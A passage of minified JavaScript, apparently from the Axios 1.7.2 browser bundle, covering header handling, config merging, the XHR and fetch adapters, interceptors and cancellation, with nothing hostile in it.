self.importScripts,Pe=je&&window.location.href||"http://localhost",Le=s(s({},Object.freeze({__proto__:null,hasBrowserEnv:je,hasStandardBrowserWebWorkerEnv:Ae,hasStandardBrowserEnv:ke,origin:Pe})),Te);function Ne(e){function t(e,r,n,o){var i=e[o++];if("__proto__"===i)return!0;var a=Number.isFinite(+i),s=o>=e.length;return i=!i&&ce.isArray(n)?n.length:i,s?(ce.hasOwnProp(n,i)?n[i]=[n[i],r]:n[i]=r,!a):(n[i]&&ce.isObject(n[i])||(n[i]=[]),t(e,r,n[i],o)&&ce.isArray(n[i])&&(n[i]=function(e){var t,r,n={},o=Object.keys(e),i=o.length;for(t=0;t<i;t++)n[r=o[t]]=e[r];return n}(n[i])),!a)}if(ce.isFormData(e)&&ce.isFunction(e.entries)){var r={};return ce.forEachEntry(e,(function(e,n){t(function(e){return ce.matchAll(/\w+|\[(\w*)]/g,e).map((function(e){return"[]"===e[0]?"":e[1]||e[0]}))}(e),n,r,0)})),r}return null}var _e={transitional:Re,adapter:["xhr","http","fetch"],transformRequest:[function(e,t){var r,n=t.getContentType()||"",o=n.indexOf("application/json")>-1,i=ce.isObject(e);if(i&&ce.isHTMLForm(e)&&(e=new FormData(e)),ce.isFormData(e))return o?JSON.stringify(Ne(e)):e;if(ce.isArrayBuffer(e)||ce.isBuffer(e)||ce.isStream(e)||ce.isFile(e)||ce.isBlob(e)||ce.isReadableStream(e))return e;if(ce.isArrayBufferView(e))return e.buffer;if(ce.isURLSearchParams(e))return t.setContentType("application/x-www-form-urlencoded;charset=utf-8",!1),e.toString();if(i){if(n.indexOf("application/x-www-form-urlencoded")>-1)return function(e,t){return me(e,new Le.classes.URLSearchParams,Object.assign({visitor:function(e,t,r,n){return Le.isNode&&ce.isBuffer(e)?(this.append(t,e.toString("base64")),!1):n.defaultVisitor.apply(this,arguments)}},t))}(e,this.formSerializer).toString();if((r=ce.isFileList(e))||n.indexOf("multipart/form-data")>-1){var a=this.env&&this.env.FormData;return me(r?{"files[]":e}:e,a&&new a,this.formSerializer)}}return i||o?(t.setContentType("application/json",!1),function(e,t,r){if(ce.isString(e))try{return(t||JSON.parse)(e),ce.trim(e)}catch(e){if("SyntaxError"!==e.name)throw e}return(r||JSON.stringify)(e)}(e)):e}],transformResponse:[function(e){var t=this.transitional||_e.transitional,r=t&&t.forcedJSONParsing,n="json"===this.responseType;if(ce.isResponse(e)||ce.isReadableStream(e))return e;if(e&&ce.isString(e)&&(r&&!this.responseType||n)){var o=!(t&&t.silentJSONParsing)&&n;try{return JSON.parse(e)}catch(e){if(o){if("SyntaxError"===e.name)throw fe.from(e,fe.ERR_BAD_RESPONSE,this,null,this.response);throw e}}}return e}],timeout:0,xsrfCookieName:"XSRF-TOKEN",xsrfHeaderName:"X-XSRF-TOKEN",maxContentLength:-1,maxBodyLength:-1,env:{FormData:Le.classes.FormData,Blob:Le.classes.Blob},validateStatus:function(e){return e>=200&&e<300},headers:{common:{Accept:"application/json, text/plain, */*","Content-Type":void 0}}};ce.forEach(["delete","get","head","post","put","patch"],(function(e){_e.headers[e]={}}));var Ce=_e,Fe=ce.toObjectSet(["age","authorization","content-length","content-type","etag","expires","from","host","if-modified-since","if-unmodified-since","last-modified","location","max-forwards","proxy-authorization","referer","retry-after","user-agent"]),Ue=Symbol("internals");function De(e){return e&&String(e).trim().toLowerCase()}function Be(e){return!1===e||null==e?e:ce.isArray(e)?e.map(Be):String(e)}function Ie(e,t,r,n,o){return ce.isFunction(n)?n.call(this,t,r):(o&&(t=r),ce.isString(t)?ce.isString(n)?-1!==t.indexOf(n):ce.isRegExp(n)?n.test(t):void 0:void 0)}var qe=function(e,t){function r(e){p(this,r),e&&this.set(e)}return y(r,[{key:"set",value:function(e,t,r){var n=this;function o(e,t,r){var o=De(t);if(!o)throw new Error("header name must be a non-empty string");var i=ce.findKey(n,o);(!i||void 0===n[i]||!0===r||void 0===r&&!1!==n[i])&&(n[i||t]=Be(e))}var i=function(e,t){return ce.forEach(e,(function(e,r){return o(e,r,t)}))};if(ce.isPlainObject(e)||e instanceof this.constructor)i(e,t);else if(ce.isString(e)&&(e=e.trim())&&!/^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(e.trim()))i(function(e){var t,r,n,o={};return e&&e.split("\n").forEach((function(e){n=e.indexOf(":"),t=e.substring(0,n).trim().toLowerCase(),r=e.substring(n+1).trim(),!t||o[t]&&Fe[t]||("set-cookie"===t?o[t]?o[t].push(r):o[t]=[r]:o[t]=o[t]?o[t]+", "+r:r)})),o}(e),t);else if(ce.isHeaders(e)){var a,s=function(e,t){var r="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!r){if(Array.isArray(e)||(r=E(e))||t&&e&&"number"==typeof e.length){r&&(e=r);var n=0,o=function(){};return{s:o,n:function(){return n>=e.length?{done:!0}:{done:!1,value:e[n++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var i,a=!0,s=!1;return{s:function(){r=r.call(e)},n:function(){var e=r.next();return a=e.done,e},e:function(e){s=!0,i=e},f:function(){try{a||null==r.return||r.return()}finally{if(s)throw i}}}}(e.entries());try{for(s.s();!(a=s.n()).done;){var u=m(a.value,2),c=u[0];o(u[1],c,r)}}catch(e){s.e(e)}finally{s.f()}}else null!=e&&o(t,e,r);return this}},{key:"get",value:function(e,t){if(e=De(e)){var r=ce.findKey(this,e);if(r){var n=this[r];if(!t)return n;if(!0===t)return function(e){for(var t,r=Object.create(null),n=/([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g;t=n.exec(e);)r[t[1]]=t[2];return r}(n);if(ce.isFunction(t))return t.call(this,n,r);if(ce.isRegExp(t))return t.exec(n);throw new TypeError("parser must be boolean|regexp|function")}}}},{key:"has",value:function(e,t){if(e=De(e)){var r=ce.findKey(this,e);return!(!r||void 0===this[r]||t&&!Ie(0,this[r],r,t))}return!1}},{key:"delete",value:function(e,t){var r=this,n=!1;function o(e){if(e=De(e)){var o=ce.findKey(r,e);!o||t&&!Ie(0,r[o],o,t)||(delete r[o],n=!0)}}return ce.isArray(e)?e.forEach(o):o(e),n}},{key:"clear",value:function(e){for(var t=Object.keys(this),r=t.length,n=!1;r--;){var o=t[r];e&&!Ie(0,this[o],o,e,!0)||(delete this[o],n=!0)}return n}},{key:"normalize",value:function(e){var t=this,r={};return ce.forEach(this,(function(n,o){var i=ce.findKey(r,o);if(i)return t[i]=Be(n),void delete t[o];var a=e?function(e){return e.trim().toLowerCase().replace(/([a-z\d])(\w*)/g,(function(e,t,r){return t.toUpperCase()+r}))}(o):String(o).trim();a!==o&&delete t[o],t[a]=Be(n),r[a]=!0})),this}},{key:"concat",value:function(){for(var e,t=arguments.length,r=new Array(t),n=0;n<t;n++)r[n]=arguments[n];return(e=this.constructor).concat.apply(e,[this].concat(r))}},{key:"toJSON",value:function(e){var t=Object.create(null);return ce.forEach(this,(function(r,n){null!=r&&!1!==r&&(t[n]=e&&ce.isArray(r)?r.join(", "):r)})),t}},{key:Symbol.iterator,value:function(){return Object.entries(this.toJSON())[Symbol.iterator]()}},{key:"toString",value:function(){return Object.entries(this.toJSON()).map((function(e){var t=m(e,2);return t[0]+": "+t[1]})).join("\n")}},{key:Symbol.toStringTag,get:function(){return"AxiosHeaders"}}],[{key:"from",value:function(e){return e instanceof this?e:new this(e)}},{key:"concat",value:function(e){for(var t=new this(e),r=arguments.length,n=new Array(r>1?r-1:0),o=1;o<r;o++)n[o-1]=arguments[o];return n.forEach((function(e){return t.set(e)})),t}},{key:"accessor",value:function(e){var t=(this[Ue]=this[Ue]={accessors:{}}).accessors,r=this.prototype;function n(e){var n=De(e);t[n]||(!function(e,t){var r=ce.toCamelCase(" "+t);["get","set","has"].forEach((function(n){Object.defineProperty(e,n+r,{value:function(e,r,o){return this[n].call(this,t,e,r,o)},configurable:!0})}))}(r,e),t[n]=!0)}return ce.isArray(e)?e.forEach(n):n(e),this}}]),r}();qe.accessor(["Content-Type","Content-Length","Accept","Accept-Encoding","User-Agent","Authorization"]),ce.reduceDescriptors(qe.prototype,(function(e,t){var r=e.value,n=t[0].toUpperCase()+t.slice(1);return{get:function(){return r},set:function(e){this[n]=e}}})),ce.freezeMethods(qe);var ze=qe;function Me(e,t){var r=this||Ce,n=t||r,o=ze.from(n.headers),i=n.data;return ce.forEach(e,(function(e){i=e.call(r,i,o.normalize(),t?t.status:void 0)})),o.normalize(),i}function He(e){return!(!e||!e.__CANCEL__)}function Je(e,t,r){fe.call(this,null==e?"canceled":e,fe.ERR_CANCELED,t,r),this.name="CanceledError"}function We(e,t,r){var n=r.config.validateStatus;r.status&&n&&!n(r.status)?t(new fe("Request failed with status code "+r.status,[fe.ERR_BAD_REQUEST,fe.ERR_BAD_RESPONSE][Math.floor(r.status/100)-4],r.config,r.request,r)):e(r)}function Ge(e,t){e=e||10;var r,n=new Array(e),o=new Array(e),i=0,a=0;return t=void 0!==t?t:1e3,function(s){var u=Date.now(),c=o[a];r||(r=u),n[i]=s,o[i]=u;for(var f=a,l=0;f!==i;)l+=n[f++],f%=e;if((i=(i+1)%e)===a&&(a=(a+1)%e),!(u-r<t)){var h=c&&u-c;return h?Math.round(1e3*l/h):void 0}}}function Ke(e,t){var r=0,n=1e3/t,o=null;return function(){var t=arguments,i=!0===this,a=Date.now();if(i||a-r>n)return o&&(clearTimeout(o),o=null),r=a,e.apply(null,arguments);o||(o=setTimeout((function(){return o=null,r=Date.now(),e.apply(null,t)}),n-(a-r)))}}ce.inherits(Je,fe,{__CANCEL__:!0});var Ve=function(e,t){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:3,n=0,o=Ge(50,250);return Ke((function(r){var i=r.loaded,a=r.lengthComputable?r.total:void 0,s=i-n,u=o(s);n=i;var c={loaded:i,total:a,progress:a?i/a:void 0,bytes:s,rate:u||void 0,estimated:u&&a&&i<=a?(a-i)/u:void 0,event:r,lengthComputable:null!=a};c[t?"download":"upload"]=!0,e(c)}),r)},Xe=Le.hasStandardBrowserEnv?function(){var e,t=/(msie|trident)/i.test(navigator.userAgent),r=document.createElement("a");function n(e){var n=e;return t&&(r.setAttribute("href",n),n=r.href),r.setAttribute("href",n),{href:r.href,protocol:r.protocol?r.protocol.replace(/:$/,""):"",host:r.host,search:r.search?r.search.replace(/^\?/,""):"",hash:r.hash?r.hash.replace(/^#/,""):"",hostname:r.hostname,port:r.port,pathname:"/"===r.pathname.charAt(0)?r.pathname:"/"+r.pathname}}return e=n(window.location.href),function(t){var r=ce.isString(t)?n(t):t;return r.protocol===e.protocol&&r.host===e.host}}():function(){return!0},$e=Le.hasStandardBrowserEnv?{write:function(e,t,r,n,o,i){var a=[e+"="+encodeURIComponent(t)];ce.isNumber(r)&&a.push("expires="+new Date(r).toGMTString()),ce.isString(n)&&a.push("path="+n),ce.isString(o)&&a.push("domain="+o),!0===i&&a.push("secure"),document.cookie=a.join("; ")},read:function(e){var t=document.cookie.match(new RegExp("(^|;\\s*)("+e+")=([^;]*)"));return t?decodeURIComponent(t[3]):null},remove:function(e){this.write(e,"",Date.now()-864e5)}}:{write:function(){},read:function(){return null},remove:function(){}};function Ye(e,t){return e&&!/^([a-z][a-z\d+\-.]*:)?\/\//i.test(t)?function(e,t){return t?e.replace(/\/?\/$/,"")+"/"+t.replace(/^\/+/,""):e}(e,t):t}var Qe=function(e){return e instanceof ze?s({},e):e};function Ze(e,t){t=t||{};var r={};function n(e,t,r){return ce.isPlainObject(e)&&ce.isPlainObject(t)?ce.merge.call({caseless:r},e,t):ce.isPlainObject(t)?ce.merge({},t):ce.isArray(t)?t.slice():t}function o(e,t,r){return ce.isUndefined(t)?ce.isUndefined(e)?void 0:n(void 0,e,r):n(e,t,r)}function i(e,t){if(!ce.isUndefined(t))return n(void 0,t)}function a(e,t){return ce.isUndefined(t)?ce.isUndefined(e)?void 0:n(void 0,e):n(void 0,t)}function s(r,o,i){return i in t?n(r,o):i in e?n(void 0,r):void 0}var u={url:i,method:i,data:i,baseURL:a,transformRequest:a,transformResponse:a,paramsSerializer:a,timeout:a,timeoutMessage:a,withCredentials:a,withXSRFToken:a,adapter:a,responseType:a,xsrfCookieName:a,xsrfHeaderName:a,onUploadProgress:a,onDownloadProgress:a,decompress:a,maxContentLength:a,maxBodyLength:a,beforeRedirect:a,transport:a,httpAgent:a,httpsAgent:a,cancelToken:a,socketPath:a,responseEncoding:a,validateStatus:s,headers:function(e,t){return o(Qe(e),Qe(t),!0)}};return ce.forEach(Object.keys(Object.assign({},e,t)),(function(n){var i=u[n]||o,a=i(e[n],t[n],n);ce.isUndefined(a)&&i!==s||(r[n]=a)})),r}var et,tt,rt,nt,ot=function(e){var t,r,n=Ze({},e),o=n.data,i=n.withXSRFToken,a=n.xsrfHeaderName,s=n.xsrfCookieName,u=n.headers,c=n.auth;if(n.headers=u=ze.from(u),n.url=Oe(Ye(n.baseURL,n.url),e.params,e.paramsSerializer),c&&u.set("Authorization","Basic "+btoa((c.username||"")+":"+(c.password?unescape(encodeURIComponent(c.password)):""))),ce.isFormData(o))if(Le.hasStandardBrowserEnv||Le.hasStandardBrowserWebWorkerEnv)u.setContentType(void 0);else if(!1!==(t=u.getContentType())){var f=t?t.split(";").map((function(e){return e.trim()})).filter(Boolean):[],l=g(r=f)||w(r)||E(r)||S(),h=l[0],p=l.slice(1);u.setContentType([h||"multipart/form-data"].concat(b(p)).join("; "))}if(Le.hasStandardBrowserEnv&&(i&&ce.isFunction(i)&&(i=i(n)),i||!1!==i&&Xe(n.url))){var d=a&&s&&$e.read(s);d&&u.set(a,d)}return n},it="undefined"!=typeof XMLHttpRequest&&function(e){return new Promise((function(t,r){var n,o=ot(e),i=o.data,a=ze.from(o.headers).normalize(),s=o.responseType;function u(){o.cancelToken&&o.cancelToken.unsubscribe(n),o.signal&&o.signal.removeEventListener("abort",n)}var c=new XMLHttpRequest;function f(){if(c){var n=ze.from("getAllResponseHeaders"in c&&c.getAllResponseHeaders());We((function(e){t(e),u()}),(function(e){r(e),u()}),{data:s&&"text"!==s&&"json"!==s?c.response:c.responseText,status:c.status,statusText:c.statusText,headers:n,config:e,request:c}),c=null}}c.open(o.method.toUpperCase(),o.url,!0),c.timeout=o.timeout,"onloadend"in c?c.onloadend=f:c.onreadystatechange=function(){c&&4===c.readyState&&(0!==c.status||c.responseURL&&0===c.responseURL.indexOf("file:"))&&setTimeout(f)},c.onabort=function(){c&&(r(new fe("Request aborted",fe.ECONNABORTED,o,c)),c=null)},c.onerror=function(){r(new fe("Network Error",fe.ERR_NETWORK,o,c)),c=null},c.ontimeout=function(){var e=o.timeout?"timeout of "+o.timeout+"ms exceeded":"timeout exceeded",t=o.transitional||Re;o.timeoutErrorMessage&&(e=o.timeoutErrorMessage),r(new fe(e,t.clarifyTimeoutError?fe.ETIMEDOUT:fe.ECONNABORTED,o,c)),c=null},void 0===i&&a.setContentType(null),"setRequestHeader"in c&&ce.forEach(a.toJSON(),(function(e,t){c.setRequestHeader(t,e)})),ce.isUndefined(o.withCredentials)||(c.withCredentials=!!o.withCredentials),s&&"json"!==s&&(c.responseType=o.responseType),"function"==typeof o.onDownloadProgress&&c.addEventListener("progress",Ve(o.onDownloadProgress,!0)),"function"==typeof o.onUploadProgress&&c.upload&&c.upload.addEventListener("progress",Ve(o.onUploadProgress)),(o.cancelToken||o.signal)&&(n=function(t){c&&(r(!t||t.type?new Je(null,e,c):t),c.abort(),c=null)},o.cancelToken&&o.cancelToken.subscribe(n),o.signal&&(o.signal.aborted?n():o.signal.addEventListener("abort",n)));var l,h,p=(l=o.url,(h=/^([-+\w]{1,25})(:?\/\/|:)/.exec(l))&&h[1]||"");p&&-1===Le.protocols.indexOf(p)?r(new fe("Unsupported protocol "+p+":",fe.ERR_BAD_REQUEST,e)):c.send(i||null)}))},at=function(e,t){var r,n=new AbortController,o=function(e){if(!r){r=!0,a();var t=e instanceof Error?e:this.reason;n.abort(t instanceof fe?t:new Je(t instanceof Error?t.message:t))}},i=t&&setTimeout((function(){o(new fe("timeout ".concat(t," of ms exceeded"),fe.ETIMEDOUT))}),t),a=function(){e&&(i&&clearTimeout(i),i=null,e.forEach((function(e){e&&(e.removeEventListener?e.removeEventListener("abort",o):e.unsubscribe(o))})),e=null)};e.forEach((function(e){return e&&e.addEventListener&&e.addEventListener("abort",o)}));var s=n.signal;return s.unsubscribe=a,[s,function(){i&&clearTimeout(i),i=null}]},st=u().mark((function e(t,r){var n,o,i;return u().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(n=t.byteLength,r&&!(n<r)){e.next=5;break}return e.next=4,t;case 4:return e.abrupt("return");case 5:o=0;case 6:if(!(o<n)){e.next=13;break}return i=o+r,e.next=10,t.slice(o,i);case 10:o=i,e.next=6;break;case 13:case"end":return e.stop()}}),e)})),ut=function(){var t,o=(t=u().mark((function e(t,o,a){var s,c,f,l,h,p;return u().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:s=!1,c=!1,e.prev=2,l=n(t);case 4:return e.next=6,i(l.next());case 6:if(!(s=!(h=e.sent).done)){e.next=27;break}if(p=h.value,e.t0=r,e.t1=n,e.t2=st,!ArrayBuffer.isView(p)){e.next=15;break}e.t3=p,e.next=18;break;case 15:return e.next=17,i(a(String(p)));case 17:e.t3=e.sent;case 18:return e.t4=e.t3,e.t5=o,e.t6=(0,e.t2)(e.t4,e.t5),e.t7=(0,e.t1)(e.t6),e.t8=i,e.delegateYield((0,e.t0)(e.t7,e.t8),"t9",24);case 24:s=!1,e.next=4;break;case 27:e.next=33;break;case 29:e.prev=29,e.t10=e.catch(2),c=!0,f=e.t10;case 33:if(e.prev=33,e.prev=34,!s||null==l.return){e.next=38;break}return e.next=38,i(l.return());case 38:if(e.prev=38,!c){e.next=41;break}throw f;case 41:return e.finish(38);case 42:return e.finish(33);case 43:case"end":return e.stop()}}),e,null,[[2,29,33,43],[34,,38,42]])})),function(){return new e(t.apply(this,arguments))});return function(e,t,r){return o.apply(this,arguments)}}(),ct=function(e,t,r,n,o){var i=ut(e,t,o),a=0;return new ReadableStream({type:"bytes",pull:function(e){return h(u().mark((function t(){var o,s,c,f;return u().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,i.next();case 2:if(o=t.sent,s=o.done,c=o.value,!s){t.next=9;break}return e.close(),n(),t.abrupt("return");case 9:f=c.byteLength,r&&r(a+=f),e.enqueue(new Uint8Array(c));case 12:case"end":return t.stop()}}),t)})))()},cancel:function(e){return n(e),i.return()}},{highWaterMark:2})},ft=function(e,t){var r=null!=e;return function(n){return setTimeout((function(){return t({lengthComputable:r,total:e,loaded:n})}))}},lt="function"==typeof fetch&&"function"==typeof Request&&"function"==typeof Response,ht=lt&&"function"==typeof ReadableStream,pt=lt&&("function"==typeof TextEncoder?(et=new TextEncoder,function(e){return et.encode(e)}):function(){var e=h(u().mark((function e(t){return u().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.t0=Uint8Array,e.next=3,new Response(t).arrayBuffer();case 3:return e.t1=e.sent,e.abrupt("return",new e.t0(e.t1));case 5:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}()),dt=ht&&(tt=!1,rt=new Request(Le.origin,{body:new ReadableStream,method:"POST",get duplex(){return tt=!0,"half"}}).headers.has("Content-Type"),tt&&!rt),yt=ht&&!!function(){try{return ce.isReadableStream(new Response("").body)}catch(e){}}(),vt={stream:yt&&function(e){return e.body}};lt&&(nt=new Response,["text","arrayBuffer","blob","formData","stream"].forEach((function(e){!vt[e]&&(vt[e]=ce.isFunction(nt[e])?function(t){return t[e]()}:function(t,r){throw new fe("Response type '".concat(e,"' is not supported"),fe.ERR_NOT_SUPPORT,r)})})));var mt=function(){var e=h(u().mark((function e(t){return u().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(null!=t){e.next=2;break}return e.abrupt("return",0);case 2:if(!ce.isBlob(t)){e.next=4;break}return e.abrupt("return",t.size);case 4:if(!ce.isSpecCompliantForm(t)){e.next=8;break}return e.next=7,new Request(t).arrayBuffer();case 7:case 14:return e.abrupt("return",e.sent.byteLength);case 8:if(!ce.isArrayBufferView(t)){e.next=10;break}return e.abrupt("return",t.byteLength);case 10:if(ce.isURLSearchParams(t)&&(t+=""),!ce.isString(t)){e.next=15;break}return e.next=14,pt(t);case 15:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}(),bt=function(){var e=h(u().mark((function e(t,r){var n;return u().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return n=ce.toFiniteNumber(t.getContentLength()),e.abrupt("return",null==n?mt(r):n);case 2:case"end":return e.stop()}}),e)})));return function(t,r){return e.apply(this,arguments)}}(),gt=lt&&function(){var e=h(u().mark((function e(t){var r,n,o,i,a,c,f,l,h,p,d,y,v,b,g,w,E,O,S,x,R,T,j,k,A,P,L,N,_;return u().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(r=ot(t),n=r.url,o=r.method,i=r.data,a=r.signal,c=r.cancelToken,f=r.timeout,l=r.onDownloadProgress,h=r.onUploadProgress,p=r.responseType,d=r.headers,y=r.withCredentials,v=void 0===y?"same-origin":y,b=r.fetchOptions,p=p?(p+"").toLowerCase():"text",g=a||c||f?at([a,c],f):[],w=m(g,2),E=w[0],O=w[1],R=function(){!S&&setTimeout((function(){E&&E.unsubscribe()})),S=!0},e.prev=4,e.t0=h&&dt&&"get"!==o&&"head"!==o,!e.t0){e.next=11;break}return e.next=9,bt(d,i);case 9:e.t1=T=e.sent,e.t0=0!==e.t1;case 11:if(!e.t0){e.next=15;break}j=new Request(n,{method:"POST",body:i,duplex:"half"}),ce.isFormData(i)&&(k=j.headers.get("content-type"))&&d.setContentType(k),j.body&&(i=ct(j.body,65536,ft(T,Ve(h)),null,pt));case 15:return ce.isString(v)||(v=v?"cors":"omit"),x=new Request(n,s(s({},b),{},{signal:E,method:o.toUpperCase(),headers:d.normalize().toJSON(),body:i,duplex:"half",withCredentials:v})),e.next=19,fetch(x);case 19:return A=e.sent,P=yt&&("stream"===p||"response"===p),yt&&(l||P)&&(L={},["status","statusText","headers"].forEach((function(e){L[e]=A[e]})),N=ce.toFiniteNumber(A.headers.get("content-length")),A=new Response(ct(A.body,65536,l&&ft(N,Ve(l,!0)),P&&R,pt),L)),p=p||"text",e.next=25,vt[ce.findKey(vt,p)||"text"](A,t);case 25:return _=e.sent,!P&&R(),O&&O(),e.next=30,new Promise((function(e,r){We(e,r,{data:_,headers:ze.from(A.headers),status:A.status,statusText:A.statusText,config:t,request:x})}));case 30:return e.abrupt("return",e.sent);case 33:if(e.prev=33,e.t2=e.catch(4),R(),!e.t2||"TypeError"!==e.t2.name||!/fetch/i.test(e.t2.message)){e.next=38;break}throw Object.assign(new fe("Network Error",fe.ERR_NETWORK,t,x),{cause:e.t2.cause||e.t2});case 38:throw fe.from(e.t2,e.t2&&e.t2.code,t,x);case 39:case"end":return e.stop()}}),e,null,[[4,33]])})));return function(t){return e.apply(this,arguments)}}(),wt={http:null,xhr:it,fetch:gt};ce.forEach(wt,(function(e,t){if(e){try{Object.defineProperty(e,"name",{value:t})}catch(e){}Object.defineProperty(e,"adapterName",{value:t})}}));var Et=function(e){return"- ".concat(e)},Ot=function(e){return ce.isFunction(e)||null===e||!1===e},St=function(e){for(var t,r,n=(e=ce.isArray(e)?e:[e]).length,o={},i=0;i<n;i++){var a=void 0;if(r=t=e[i],!Ot(t)&&void 0===(r=wt[(a=String(t)).toLowerCase()]))throw new fe("Unknown adapter '".concat(a,"'"));if(r)break;o[a||"#"+i]=r}if(!r){var s=Object.entries(o).map((function(e){var t=m(e,2),r=t[0],n=t[1];return"adapter ".concat(r," ")+(!1===n?"is not supported by the environment":"is not available in the build")}));throw new fe("There is no suitable adapter to dispatch the request "+(n?s.length>1?"since :\n"+s.map(Et).join("\n"):" "+Et(s[0]):"as no adapter specified"),"ERR_NOT_SUPPORT")}return r};function xt(e){if(e.cancelToken&&e.cancelToken.throwIfRequested(),e.signal&&e.signal.aborted)throw new Je(null,e)}function Rt(e){return xt(e),e.headers=ze.from(e.headers),e.data=Me.call(e,e.transformRequest),-1!==["post","put","patch"].indexOf(e.method)&&e.headers.setContentType("application/x-www-form-urlencoded",!1),St(e.adapter||Ce.adapter)(e).then((function(t){return xt(e),t.data=Me.call(e,e.transformResponse,t),t.headers=ze.from(t.headers),t}),(function(t){return He(t)||(xt(e),t&&t.response&&(t.response.data=Me.call(e,e.transformResponse,t.response),t.response.headers=ze.from(t.response.headers))),Promise.reject(t)}))}var Tt="1.7.2",jt={};["object","boolean","number","function","string","symbol"].forEach((function(e,t){jt[e]=function(r){return f(r)===e||"a"+(t<1?"n ":" ")+e}}));var kt={};jt.transitional=function(e,t,r){function n(e,t){return"[Axios v1.7.2] Transitional option '"+e+"'"+t+(r?". "+r:"")}return function(r,o,i){if(!1===e)throw new fe(n(o," has been removed"+(t?" in "+t:"")),fe.ERR_DEPRECATED);return t&&!kt[o]&&(kt[o]=!0,console.warn(n(o," has been deprecated since v"+t+" and will be removed in the near future"))),!e||e(r,o,i)}};var At={assertOptions:function(e,t,r){if("object"!==f(e))throw new fe("options must be an object",fe.ERR_BAD_OPTION_VALUE);for(var n=Object.keys(e),o=n.length;o-- >0;){var i=n[o],a=t[i];if(a){var s=e[i],u=void 0===s||a(s,i,e);if(!0!==u)throw new fe("option "+i+" must be "+u,fe.ERR_BAD_OPTION_VALUE)}else if(!0!==r)throw new fe("Unknown option "+i,fe.ERR_BAD_OPTION)}},validators:jt},Pt=At.validators,Lt=function(){function e(t){p(this,e),this.defaults=t,this.interceptors={request:new xe,response:new xe}}var t;return y(e,[{key:"request",value:(t=h(u().mark((function e(t,r){var n,o;return u().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.prev=0,e.next=3,this._request(t,r);case 3:return e.abrupt("return",e.sent);case 6:if(e.prev=6,e.t0=e.catch(0),e.t0 instanceof Error){Error.captureStackTrace?Error.captureStackTrace(n={}):n=new Error,o=n.stack?n.stack.replace(/^.+\n/,""):"";try{e.t0.stack?o&&!String(e.t0.stack).endsWith(o.replace(/^.+\n.+\n/,""))&&(e.t0.stack+="\n"+o):e.t0.stack=o}catch(e){}}throw e.t0;case 10:case"end":return e.stop()}}),e,this,[[0,6]])}))),function(e,r){return t.apply(this,arguments)})},{key:"_request",value:function(e,t){"string"==typeof e?(t=t||{}).url=e:t=e||{};var r=t=Ze(this.defaults,t),n=r.transitional,o=r.paramsSerializer,i=r.headers;void 0!==n&&At.assertOptions(n,{silentJSONParsing:Pt.transitional(Pt.boolean),forcedJSONParsing:Pt.transitional(Pt.boolean),clarifyTimeoutError:Pt.transitional(Pt.boolean)},!1),null!=o&&(ce.isFunction(o)?t.paramsSerializer={serialize:o}:At.assertOptions(o,{encode:Pt.function,serialize:Pt.function},!0)),t.method=(t.method||this.defaults.method||"get").toLowerCase();var a=i&&ce.merge(i.common,i[t.method]);i&&ce.forEach(["delete","get","head","post","put","patch","common"],(function(e){delete i[e]})),t.headers=ze.concat(a,i);var s=[],u=!0;this.interceptors.request.forEach((function(e){"function"==typeof e.runWhen&&!1===e.runWhen(t)||(u=u&&e.synchronous,s.unshift(e.fulfilled,e.rejected))}));var c,f=[];this.interceptors.response.forEach((function(e){f.push(e.fulfilled,e.rejected)}));var l,h=0;if(!u){var p=[Rt.bind(this),void 0];for(p.unshift.apply(p,s),p.push.apply(p,f),l=p.length,c=Promise.resolve(t);h<l;)c=c.then(p[h++],p[h++]);return c}l=s.length;var d=t;for(h=0;h<l;){var y=s[h++],v=s[h++];try{d=y(d)}catch(e){v.call(this,e);break}}try{c=Rt.call(this,d)}catch(e){return Promise.reject(e)}for(h=0,l=f.length;h<l;)c=c.then(f[h++],f[h++]);return c}},{key:"getUri",value:function(e){return Oe(Ye((e=Ze(this.defaults,e)).baseURL,e.url),e.params,e.paramsSerializer)}}]),e}();ce.forEach(["delete","get","head","options"],(function(e){Lt.prototype[e]=function(t,r){return this.request(Ze(r||{},{method:e,url:t,data:(r||{}).data}))}})),ce.forEach(["post","put","patch"],(function(e){function t(t){return function(r,n,o){return this.request(Ze(o||{},{method:e,headers:t?{"Content-Type":"multipart/form-data"}:{},url:r,data:n}))}}Lt.prototype[e]=t(),Lt.prototype[e+"Form"]=t(!0)}));var Nt=Lt,_t=function(){function e(t){if(p(this,e),"function"!=typeof t)throw new TypeError("executor must be a function.");var r;this.promise=new Promise((function(e){r=e}));var n=this;this.promise.then((function(e){if(n._listeners){for(var t=n._listeners.length;t-- >0;)n._listeners[t](e);n._listeners=null}})),this.promise.then=function(e){var t,r=new Promise((function(e){n.subscribe(e),t=e})).then(e);return r.cancel=function(){n.unsubscribe(t)},r},t((function(e,t,o){n.reason||(n.reason=new Je(e,t,o),r(n.reason))}))}return y(e,[{key:"throwIfRequested",value:function(){if(this.reason)throw this.reason}},{key:"subscribe",value:function(e){this.reason?e(this.reason):this._listeners?this._listeners.push(e):this._listeners=[e]}},{key:"unsubscribe",value:function(e){if(this._listeners){var t=this._listeners.indexOf(e);-1!==t&&this._listeners.splice(t,1)}}}],[{key:"source",value:function(){var t;return{token:new e((function(e){t=e})),cancel:t}}}]),e}();var 